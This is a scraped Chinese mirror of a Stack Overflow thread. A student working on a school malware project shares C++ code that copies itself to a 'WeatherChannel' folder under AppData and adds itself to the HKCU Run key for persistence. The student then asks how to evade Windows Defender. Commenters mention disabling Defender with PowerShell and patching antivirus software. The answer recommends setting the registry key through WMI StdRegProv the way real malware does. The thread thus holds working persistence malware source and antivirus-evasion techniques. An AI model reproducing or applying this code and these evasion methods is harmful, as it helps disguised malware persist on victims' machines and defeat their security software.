避免防病毒检测 C++

Posted

技术标签:

【中文标题】避免防病毒检测 C++【英文标题】:Avoid Antivirus detection C++ 【发布时间】:2021-04-30 13:28:13 【问题描述】:

对于一个学校项目,我正在开发一种小型恶意软件,它可以自我复制并使用 reg 密钥自动运行。

我希望我的程序设置一个 reg 键来自动运行,但是当我这样做时,Windows Defender 会从 windows.h 中检测到 RegSetValueExA 函数。我还希望我的程序在没有管理员权限的情况下执行。

我的老师告诉我,可以避免检测。我必须检测 WD 何时查看我的程序并告诉它在 WD 执行扫描时停止/休眠。他还告诉我,可以使用 powershell 禁用 WD。但我真的不知道该怎么做。

下面是触发 Windows Defender 的代码:

void Victim::replicateNpersist()

  char filename[ MAX_PATH ];

  // Declaration of the directory that contain the malware
  string Dir = "C:\\Users\\"+string(c_user)+"\\AppData\\Local\\WeatherChannel";
  int LDir = Dir.length();
  char dirPath[LDir+1];
  strcpy(dirPath, Dir.c_str());

  // Declaration of the object to copy
  string Dest = "C:\\Users\\"+c_user+"\\AppData\\Local\\WeatherChannel\\Weather.exe";
  int LDest = Dest.length();
  char newLocation[LDest+1];
  strcpy(newLocation,Dest.c_str());

  // Creation of directory
  CreateDirectoryA(dirPath, NULL);
  BOOL stats=0;
  DWORD size = GetModuleFileNameA(NULL, filename, MAX_PATH);
  CopyFileA(filename, newLocation, stats);

  // Persistence
  HKEY hKey;
  LPCSTR keyPath = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
  LONG lnRes = RegOpenKeyExA(HKEY_CURRENT_USER, keyPath,0,KEY_WRITE,&hKey);
  if(lnRes == ERROR_SUCCESS) 
  RegSetValueExA(hKey,"Weather.exe", 0, REG_SZ,(LPBYTE)newLocation,strlen(newLocation)+1);    
 

【问题讨论】:

如果恶意软件可以要求 Windows Defender 不起作用,那么它的意义何在? 我也问过自己同样的问题,但我的 McAfee 逆向师老师告诉我这是可能的。我还发现了一些关于 AV 补丁的文章。关键是隐藏 windows.h 的可疑 API 调用 [汇编] 语言与此有什么关系?你在汇编中写东西吗?还是您只是担心编译器创建的机器代码可以被 Windows Defender 识别?无论如何,不​​太清楚你为什么标记它,可能会很好详细说明。 我们可以在 C++ 程序中实现汇编。我看到一些 AV 修补方法使用 asm 来捕获 AV 扫描:rohitab.com/discuss/topic/39662-patching-avs/…。也许仅使用 C++ 来避免 AV 检测是不可能的。这就是为什么我把 asm 放在标签中 WD 不像保安人员在建筑物内巡逻,只要它当时正在寻找其他地方,您就可以潜入其中。如果你调用 RegSetValue,它会注意到,因为当程序调用 RegSetValue 时它会得到通知。 【参考方案1】:

尝试以其他方式创建您的注册表项。像许多真正的恶意软件一样,您可以尝试通过 WMI 使用 StdRegProv 类: Getting value from an OUT parameter in WMI in C++

https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf

【讨论】:

以上是关于避免防病毒检测 C++的主要内容,如果未能解决你的问题,请参考以下文章

无法下载检测到病毒

可居家自检的新冠病毒抗原检测来了,检测试剂的原理是啥?

请帮助我使用检测恶意行为的病毒检测程序

检测并卸载防病毒软件

如何让已安装的防病毒软件检测到程序?

手机浏览器检测到病毒无法下载